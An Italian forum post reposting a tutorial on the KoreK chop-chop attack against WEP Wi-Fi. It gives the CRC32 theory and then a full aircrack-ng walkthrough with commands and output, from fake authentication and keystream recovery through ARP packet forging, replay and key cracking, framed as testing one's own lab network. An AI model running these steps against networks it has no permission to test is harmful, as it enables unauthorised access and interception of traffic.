[GUIDA] korek-chop chop attack

Gianbi24

Nuovo Utente
33
2
Questo documento è da ritenersi esclusivamente per scopi informativi / didattici, l' autore del testo e coloro che lo ospitano sul proprio spazio non sono responsabili delle azioni commesse da terze parti.

Premetto che la guida è stata scritta da Aireplay ed inserita nel sito www.backtrack.it

Con questo breve tutorial proveremo ora a testare la nostra rete Wifi per valutare il grado di sicurezza della stessa.

Esistono molti modi per testare la sicurezza di una rete wireless noi in questa occasione utilizzeremo la suite Aircrack della Aircrack-ng (http://www.aircrack-ng) presente nella nostra BT4, ed in particolare utilizzeremo per questo test il korek-chop chop attack

L'attacco Korek-chop chop, (scelta 4) è un opzione del comando Aireplay-ng della suite a noi nota, questo tipo di attacco portato con successo può decifrare un pacchetto dati cifrato di un AP configurato in WEP senza conoscere la chiave.

Questo attacco non è in grado di recuperare la chiave WEP in se, ma è in grado di rivelare il testo in chiaro. (plaintext)

Comunque, non tutti gli access point sono vulnerabili a questo tipo di attacco. Alcuni possono sembrare vulnerabili ma in realtà scartano tutti i pacchetti di lunghezza inferiore a 60 byte.

Se l'access point scarta i pacchetti inferiori a 42 byte, aireplay prova ad indovinare il resto dei dati mancanti, . Questo attacco richiede almeno un pacchetto dati WEP.

In questo test proveremo a testare la nostra rete Wireless configurata con una encryption Wep -Open System Authentication- senza client connessi.


Teoria:

Un frame WEP 802.11 è composto da molti campi: header, data, ICV, ecc.

Noi prenderemo in considerazione solo il campo data e ICV, supponendo che l'IV sia costante.

L'algoritmo ICV è un'implementazione del CRC32. Viene calcolato in modo incrementale per ogni byte di dati del frame. Di seguito gli step in C:
crc = crc_tbl[(crc ^ data) & 0xFF] ^ ( crc >> 8 );

L'ICV viene memorizzato in little-endian ed il frame viene xorato con un keystream RC4. Da ora in poi, l'operazione di XOR sarà rappresentata con il simbolo `+'.

Frame 1:
_____ DATA ___ ____ICV ___
D0 D1 D2 D3 D4 I3 I2 I1 I0
+ + + + + + + + +
K0 K1 K2 K3 K4 K5 K6 K7 K8
= = = = = = = = =
R0 R1 R2 R3 R4 R5 R6 R7 R8

Dove D è il plaintext (i byte di dati), I è l'ICV, K è il keystream e R è il risultato. Aggiungendo un byte di dati (D5) si ottiene un secondo frame, il Frame 2:

_____ DATA ______ ____ICV ___
D0 D1 D2 D3 D4 D5 J3 J2 J1 J0
+ + + + + + + + + +
K0 K1 K2 K3 K4 K5 K6 K7 K8 K9
= = = = = = = = = =
S0 S1 S2 S3 S4 S5 S6 S7 S8 S9

Dove J è l'ICV e S è il risultato.

E' possibile risalire al Frame 1 dal Frame 2 ipotizzando il valore della somma I3+D5, che sarà indicato con X (uno dei 256 cambiamenti). X=I3+D5
•i byte da D0 a D4 rimangono uguali.
•R5 = I3 + K5 = I3 + (D5+D5) + K5 = (I3+D5) + (D5+K5) = X + S5.
•i byte da R6 a R8 vengono calcolati reversando uno step del CRC basato sul valore di X.
•C'è una corrispondenza tra I2-I0 e J3-J1 perché il CRC li shifta indietro ma D5 li “spinge” nuovamente in avanti. Essi non devono necessariamente mantenere gli stessi valori, ma la loro differenza dipende solo da X, che in questo caso è stato ipotizzato.
•J0 dipende solo da X. K9 = S9 + J0.
•Sono stati dunque ipotizzati sia l'ultimo byte del messaggio che l'ultimo byte del keystream.

Il valore di X dovrà essere indovinato provando e riprovando . L'access point scarterà i frame invalidi, processo che in qualche modo ci aiuterà ad indovinare il valore di X.

In questo modo verrà trovato un frame valido più piccolo di 1 byte rispetto all'originale, e di conseguenza viene indovinato un byte del keystream. Questo processo può essere utilizzato per ottenere l'intero keystream.

Non intendo prendere nessun merito nella scrittura di questo tutorial in quanto tutto è ampiamente spiegato sul sito Aircrack-ng e sul sito http://www.backtrack.it, inoltre ricordatevi che penetrare in una rete wireless non di vostra proprietà è un reato, provate quanto descritto sulla vostra rete o su una rete dove avete i permessi per valutare la sicurezza della rete. Si declina ogni responsabilità sull’uso improprio che farete delle tecniche descritte.

Torniamo ora alla pratica

Dopo aver verificato e identificato l'HW a nostra disposizione per il test , mettiamo in monitor mode con airmon-ng la nostra scheda (airmon-ng start/stop interfaccia )





root@Lab# airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
root@Lab#

Passiamo ora ad esaminare "l'ambiente" in cui dovremo operare con il comando
airodump-ng interfaccia , con il quale potremo visualizzare i dati occorrenti al nostro test
bssid ,essid, canale etc,etc .

root@Lab# airodump-ng ath0
CH 11 ][ Elapsed: 1 min ][ 2010-03-24 23:28
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
01:00:00:00:00:00 81 16 10 0 0 6 54. OPN LAB1
02:00:00:00:00:00 84 20 14 4 1 11 11. WEP WEP LAB2
root@Lab#

Bene a questo punto vediamo i nostri A.P. e prenderemo in considerazione solo il secondo che come vediamo è configurato con una "encryption key" WEP sul canale 11.

Buona cosa sarebbe quella di lanciare un test di injection per verificare l'eventuale riuscita del nostro test in quanto i risultati potrebbero cambiare in base a tanti fattori e, anche in virtù della distanza dall'A.P.

aireplay-ng --test -e LAB2 -a 02:00:00:00:00:00 ath0


dove :
--test (scelta 9) è l'uso dell'injection test
-e LAB2 è il nome della nostra rete (essid)
-a MACADDR del nostro A.P
ath0 è la nostra interfaccia in monitor mode




root@Lab# aireplay-ng --test -e LAB2 -a 02:00:00:00:00:00 ath0
23:30:05 ath0 channel: 11
23:30:06 Trying broadcast probe requests...
23:30:06 Injection is working!
23:30:07 Found 1 APs
23:30:07 Trying directed probe requests...
23:30:07 02:00:00:00:00:00 - channel: 11 - 'LAB2'
23:30:07 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
23:30:07 30/30: 100%
root@Lab#

Perfetto!!
E' anche possibile avendo a disposizione due interfacce da poter mettere in monitor mode effettuare un test di attacco più approfondito con :
aireplay-ng -9 – e LAB2 – a 02:00:00:00:00:00 -i wlan0 ath0
dove
-9 è l'uso dell'injection test
-e il nome della nostra rete (essid)
-a il MACADDR del nostro A.P
-i l'opzione interfaces
wlan1 e wlan0 le nostre interfaccia

root@Lab# aireplay-ng -9 – e LAB2 – a 02:00:00:00:00:00 -i wlan0 ath0
23:36:05 wlan0 channel: 11, ath0 channel: 11
23:36:05 Trying broadcast probe requests...
23:36:05 Injection is working!
23:36:05 Found 1 APs
23:36:05 Trying directed probe requests...
23:36:05 02:00:00:00:00:00 - channel: 11 - 'LAB2'
23:36:05 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
23:36:07 26/30: 87%
23:36:07 Trying card-to-card injection...
23:36:07 Attack -0: OK
23:36:07 Attack -1 (open): OK
23:36:07 Attack -1 (psk): OK
23:36:07 Attack -2/-3/-4: OK
23:36:07 Attack -5: OK
root@Lab#




Torniamo ora al nostro test e lanciamo airodump per poter catturare i pacchetti che ci occorreranno con il seguente comando:

1) airodump-ng -c 11 --bssid 02:00:00:00:00:00 -w test01 ath0

dove :
-c 11 è il numero del canale sul quale opera il nostro A.P
--bssid 02:00:00:00:00:00 è il MACADDR dell'A.P
-w test01 gli indichiamo di scrivere i pacchetti catturati nel file test01
ath0 la nostra interfaccia in monitor mode
airodump comincia a lavorare ....

root@Lab# airodump-ng -c 11 –-bssid 02:00:00:00:00:00 -w test01 ath0
CH 11 ][ Elapsed: 1 min ][ 2010-03-24 23:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:00:00 84 20 14 1 1 11 11. WEP WEP LAB2


Bene a questo punto data la totale assenza di traffico e di client collegati, per evitare il fallimento del nostro test dovremo effettuare una falsa autenticazione "fake authentication" al nostro A.P per dar modo di generare il traffico a noi occorrente .
La effettueremo tramite aireplay-ng
2) aireplay-ng -1 0 -e LAB2 -a 02:00:00:00:00:00 -h 0X:0X:0X:0X:0X:0X ath0

dove :
-1 è l'uso della "fake authentication"
0 è la riassociazione in secondi
-e LAB2 è il nome della nostra rete (essid)
-a MACADDR del nostro A.P
-h MACADDR della nostra interfaccia
ath0 è la nostra interfaccia in monitor mode

root@Lab# aireplay-ng -1 0 -e LAB2 -a 02:00:00:00:00:00 -h 0X:0X:0X:0X:0X:0X ath0
23:45:32 Sending Authentication Request
23:45:32 Authentication successful
23:45:32 Sending Association Request
23:45:32 Association successful :-)
23:45:42 Sending keep-alive packet
23:45:52 Sending keep-alive packet



Essendo la nostra rete in WEP Open System Authentication l'operazione si conclusa con successo !! Diverso sarebbe stato se la nostra rete fosse stata configurata in WEP e Shared Key Authentication (S.K.A.) che tratteremo in un altra occasione.
A questo punto possiamo lanciare il nostro attacco "korek-chop chop"
3) aireplay-ng -4 -h 0X:0X:0X:0X:0X:0X -b 02:00:00:00:00:00 ath0
dove :
-4 è l'uso dell'attacco "korek-chop chop"
-h MACADDR del client o della nostra interfaccia se abbiamo utilizzato la "fake authentication"
-b MACADDR del nostro A.P
ath0 è la nostra interfaccia in monitor mode
Il sistema risponderà :

root@Lab# aireplay-ng -4 -h 0X:0X:0X:0X:0X:0X -b 02:00:00:00:00:00 ath0
Read 165 packets...
Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID = 02:00:00:00:00:00
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC =
0x0000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0010: 0000 0000 0000 0000 0000 0000 0000 0000 .................
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000 .................
0x0030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 0000 0000 .....
Use this packet ? y

rispondendo "y" il sistema continuerà il suo lavoro

Saving chosen packet in replay_src-2503-235000.cap
Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms
Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms
Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms
Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms
Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms
Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms
Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms
Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms
Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms
Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms
Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms
Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms
Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms
Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms
Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms
Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms
Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms
Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms
Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms
Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms
Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms
Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms
Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms
Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms
Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms
Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms
Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms
Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms
Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms
Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms
Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms
Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms
Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms
Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms
Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms
Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms
Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms
Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms
Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms
Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms
Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms
Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms
Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms
Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms
Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms
Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms
Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms
Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms
Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms
Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms
Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms
Sent 957 packets, current guess: B9...

Saving plaintext in replay_dec-2503-235021.cap
Saving keystream in replay_dec-2503-235021.xor
Completed in 21s (4.29 bytes/s)

Successo! Ora il file replay_dec-2503-235021.xor è stato creato e potrà essere usato in seguito con packetforge-ng per generare un pacchetto ARP.
Prima però daremo un occhiata agli indirizzi ip con tcpdump o eventualmente con l'uso di Wireshark (Wireshark · Go Deep.)e il file .cap appena ottenuto.

root@Lab# tcpdump -s 0 -n -e -r replay_dec-2503-235021.cap
reading from file replay_dec-2503-235021.cap
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
root@Lab#

Adesso potremo realizzare un ARP request. L'IP sorgente (192.168.1.100) non ci interessa, ma l'IP di destinazione (192.168.1.2) deve rispondere all'ARP request.

Il MACADDR sorgente deve appartenere ad un client associato, nel caso in cui il nostro A.P filtri il traffico non associato.

Nelle tante opzioni sull'utilizzo di packetforge-ng in questo test prenderemo in considerazione la classica creazione di un pacchetto ARP request .

4) packetforge-ng -0 -a 02:00:00:00:00:00 -h 0X:0X:0X:0X:0X:0X -k 192.168.1.2 -l 192.168.1.100 -y replay_dec-2503-235021.xor -w arp.cap






dove
-0 indica che si vuole realizzare un pacchetto di ARP request
-a MACADDR del nostro A.P
-h MACADDR della nostra interfaccia
-k 192.168.1.2 è l'indirizzo IP di destinazione.
-l 192.168.1.100 è l'indirizzo IP sorgente.
-y replay_dec-2503-235021.xor
-w pacchetto ARP
il sistema risponderà :

root@Lab# packetforge-ng -0 -a 02:00:00:00:00:00 -h 0X:0X:0X:0X:0X:0X -k 192.168.1.2 -l 192.168.1.100 -y replay_dec-2503-235021.xor -w arp.cap
wrote packet to: arp.cap
root@Lab#

Bene adesso siamo pronti per iniettare il nostro file appena creato con l'utilizzo di aireplay-ng
5) aireplay-ng -2 -r arp.cap ath0
dove :
-2 indica il tipo di attacco interattivo " Interactive packet replay"
-r scegliamo il file da utilizzare creato da packetforge-ng
ath0 è la nostra interfaccia in monitor mode.
Il sistema risponderà :


root@Lab# aireplay-ng -2 -r arp.cap ath0
Read 165 packets...
Size: 86, FromDS: 1, ToDS: 1 (WEP)
BSSID = 02:00:00:00:00:00
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC =
0x0000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0010: 0000 0000 0000 0000 0000 0000 0000 0000 ...............
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 0000 0000 ......
Use this packet ? y

Confermando con "y" inizierà l'inject e controllando la shell dove avevamo lanciato airodump-ng per la cattura potremo notare con soddisfazione l'incremento dei dati in transito ….

CH 11 ][ Elapsed: 1 min ][ 2010-03-26 00.10
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:00:00 84 100 9814 81752 1 11 11. WEP WEP LAB2
BSSID STATION PWR Rate Lost Packets Probes
02:00:00:00:00:00 0X:0X:0X:0X:0X:0X 35 54-54 218 15250 LAB2

Bene! Raggiunto un numero sufficiente di dati possiamo passare ad aircrack-ng il file che airodump-ng sta creando.
6) aircrack-ng -z -b 02:00:00:00:00:00 test01.cap
dove :
-z il tipo di attacco PTW
-b MACADDR del nostro A.P
test01.cap il file creato da airodump-ng

root@Lab# aircrack-ng -z -b 02:00:00:00:00:00 test01.cap
Aircrack-ng 0.9
[00:00:18] Tested 0/140000 keys (got 30680 IVs)
KB depth byte(vote)
0 0/ 1 00( 199) 29( 27) 2D( 13) 7C( 12) FE( 12) FF( 6) 39( 5) 2C( 3) 00( 0) 08( 0)
1 0/ 3 66( 41) F1( 33) 4C( 23) 00( 19) 9F( 19) C7( 18) 64( 9) 7A( 9) 7B( 9) F6( 9)
2 0/ 2 5C( 89) 52( 60) E3( 22) 10( 20) F3( 18) 8B( 15) 8E( 15) 14( 13) D2( 11) 47( 10)
3 0/ 1 FD( 375) 81( 40) 1D( 26) 99( 26) D2( 23) 33( 20) 2C( 19) 05( 17) 0B( 17) 35( 17)
4 0/ 2 24( 130) 87( 110) 7B( 32) 4F( 25) D7( 20) F4( 18) 17( 15) 8A( 15) CE( 15) E1( 15)
5 0/ 1 E3( 222) 4F( 46) 40( 45) 7F( 28) DB( 27) E0( 27) 5B( 25) 71( 25) 8A( 25) 65( 23)
6 0/ 1 92( 208) 63( 58) 54( 51) 64( 35) 51( 26) 53( 25) 75( 20) 0E( 18) 7D( 18) D9( 18)
7 0/ 1 A9( 220) B8( 51) 4B( 41) 1B( 39) 3B( 23) 9B( 23) FA( 23) 63( 22) 2D( 19) 1A( 17)
8 0/ 1 14(1106) C1( 118) 04( 41) 13( 30) 43( 28) 99( 25) 79( 20) B1( 17) 86( 15) 97( 15)
9 0/ 1 39( 540) 08( 95) E4( 87) E2( 79) E5( 59) 0A( 44) CC( 35) 02( 32) C7( 31) 6C( 30)
10 0/ 1 D4( 372) 9E( 68) A0( 64) 9F( 55) DB( 51) 38( 40) 9D( 40) 52( 39) A1( 38) 54( 36)
11 0/ 1 27( 334) BC( 58) F1( 44) BE( 42) 79( 39) 3B( 37) E1( 34) E2( 34) 31( 33) BF( 33)


KEY FOUND! [ YY:YY:YY:YY:YY:YY:YY ]



Decrypted correctly: 100%



La nostra rete non è sicura e siamo riusciti a violarla !!
 

Entra

oppure Accedi utilizzando
Discord Ufficiale Entra ora!